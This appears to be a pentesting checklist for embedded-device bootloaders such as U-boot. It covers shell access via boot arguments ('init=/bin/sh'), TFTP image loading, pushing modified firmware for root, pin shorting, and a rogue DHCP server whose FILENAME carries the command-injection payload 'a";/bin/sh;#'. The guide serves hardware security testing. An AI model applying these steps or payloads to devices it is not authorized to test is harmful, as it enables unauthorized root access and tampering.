Bootloader testing
The following steps are recommended for modifying device startup configurations and bootloaders like U-boot:
Access Bootloader's Interpreter Shell:
During boot, press "0", space, or other identified "magic codes" to access the bootloader's interpreter shell.
Modify Boot Arguments:
Execute the following commands to append '
init=/bin/sh' to the boot arguments, allowing execution of a shell command: %%% #printenv #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh #saveenv #boot %%%
Setup TFTP Server:
Configure a TFTP server to load images over a local network: %%% #setenv ipaddr 192.168.2.2 #local IP of the device #setenv serverip 192.168.2.1 #TFTP server IP #saveenv #reset #ping 192.168.2.1 #check network access #tftp ${loadaddr} uImage-3.6.35 #loadaddr takes the address to load the file into and the filename of the image on the TFTP server %%%
Utilize
ubootwrite.py:Use
ubootwrite.pyto write the U-boot image and push a modified firmware to gain root access.
Check Debug Features:
Verify if debug features like verbose logging, loading arbitrary kernels, or booting from untrusted sources are enabled.
Cautionary Hardware Interference:
Be cautious when connecting one pin to ground and interacting with SPI or NAND flash chips during the device boot-up sequence, particularly before the kernel decompresses. Consult the NAND flash chip's datasheet before shorting pins.
Configure Rogue DHCP Server:
Set up a rogue DHCP server with malicious parameters for a device to ingest during a PXE boot. Utilize tools like Metasploit's (MSF) DHCP auxiliary server. Modify the 'FILENAME' parameter with command injection commands such as
'a";/bin/sh;#'to test input validation for device startup procedures.
Note: The steps involving physical interaction with device pins (*marked with asterisks) should be approached with extreme caution to avoid damaging the device.
References
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